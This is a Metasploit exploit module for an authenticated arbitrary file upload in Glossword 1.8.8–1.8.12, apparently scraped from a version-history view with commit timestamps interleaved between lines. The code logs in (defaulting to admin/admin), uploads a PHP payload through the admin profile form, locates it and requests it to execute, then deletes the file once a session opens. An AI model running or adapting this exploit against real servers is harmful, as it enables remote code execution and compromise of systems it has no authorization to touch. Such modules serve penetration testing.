2013-02-24 15:29:46 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-02-24 15:29:46 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a file upload vulnerability in Glossword
|
|
|
|
versions 1.8.8 to 1.8.12 when run as a standalone application.
|
|
|
|
This application has an upload feature that allows an authenticated user
|
|
|
|
with administrator roles to upload arbitrary files to the 'gw_temp/a/'
|
|
|
|
directory.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'AkaStep', # Discovery
|
|
|
|
'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '24456' ],
|
|
|
|
[ 'OSVDB', '89960' ]
|
|
|
|
],
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => "Feb 05 2013",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
|
|
|
|
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
|
|
|
|
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
|
|
|
|
base = target_uri.path
|
|
|
|
peer = "#{rhost}:#{rport}"
|
|
|
|
user = datastore['USERNAME']
|
|
|
|
pass = datastore['PASSWORD']
|
|
|
|
|
|
|
|
# login
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Authenticating as user '#{user}'")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
res = login(base, user, pass)
|
|
|
|
if res
|
|
|
|
if res.code == 200
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_error("Authentication failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
2014-05-13 20:56:12 +00:00
|
|
|
elsif res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_good("Authenticated successfully")
|
2013-08-30 21:28:54 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
end
|
2014-01-21 20:10:35 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_error("Connection failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2014-01-21 20:10:35 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_new_session(client)
|
|
|
|
if client.type == "meterpreter"
|
|
|
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
|
|
|
client.fs.file.rm("#{@fname}")
|
|
|
|
else
|
|
|
|
client.shell_command_token("rm #{@fname}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def upload(base, sid, fname, file)
|
|
|
|
|
|
|
|
user = datastore['USERNAME']
|
|
|
|
pass = datastore['PASSWORD']
|
|
|
|
data = Rex::MIME::Message.new
|
|
|
|
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
|
|
|
|
data.add_part("edit-own", nil, nil, 'form-data; name="a"')
|
|
|
|
data.add_part("users", nil, nil, 'form-data; name="t"')
|
|
|
|
data.add_part("Save", nil, nil, 'form-data; name="post"')
|
|
|
|
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
|
|
|
|
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
|
|
|
|
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
|
|
|
|
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')
|
|
|
|
|
|
|
|
data_post = data.to_s
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(base, 'gw_admin.php'),
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
|
|
'data' => data_post,
|
|
|
|
})
|
|
|
|
|
|
|
|
return res
|
|
|
|
end
|
|
|
|
|
|
|
|
def login(base, user, pass)
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(base, 'gw_login.php'),
|
|
|
|
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
|
|
|
|
})
|
|
|
|
return res
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
base = target_uri.path
|
|
|
|
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
|
|
|
|
user = datastore['USERNAME']
|
|
|
|
pass = datastore['PASSWORD']
|
|
|
|
|
|
|
|
# login; get session id and token
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Authenticating as user '#{user}'")
|
2013-08-30 21:28:54 +00:00
|
|
|
res = login(base, user, pass)
|
2014-05-13 20:56:12 +00:00
|
|
|
if res and res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
|
2013-08-30 21:28:54 +00:00
|
|
|
token = "#{$1}"
|
|
|
|
sid = "#{$2}"
|
2016-02-01 21:12:03 +00:00
|
|
|
print_good("Authenticated successfully")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# upload PHP payload
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Uploading PHP payload (#{payload.encoded.length} bytes)")
|
2013-08-30 21:28:54 +00:00
|
|
|
php = %Q|<?php #{payload.encoded} ?>|
|
|
|
|
begin
|
|
|
|
res = upload(base, sid, @fname, php)
|
|
|
|
if res and res.code == 301 and res['location'] =~ /Setting saved/
|
2016-02-01 21:12:03 +00:00
|
|
|
print_good("File uploaded successfully")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# retrieve PHP file path
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Locating PHP payload file")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
|
|
|
|
'cookie' => "sid#{token}=#{sid}"
|
|
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
|
|
|
|
shell_uri = "#{$1}"
|
|
|
|
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
|
2016-02-01 21:12:03 +00:00
|
|
|
print_good("Found payload file path (#{shell_uri})")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find PHP payload file path")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# retrieve and execute PHP payload
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Executing payload (#{shell_uri})")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(base, shell_uri),
|
|
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
if !res or res.code != 200
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Executing payload failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
2013-02-24 15:29:46 +00:00
|
|
|
end
|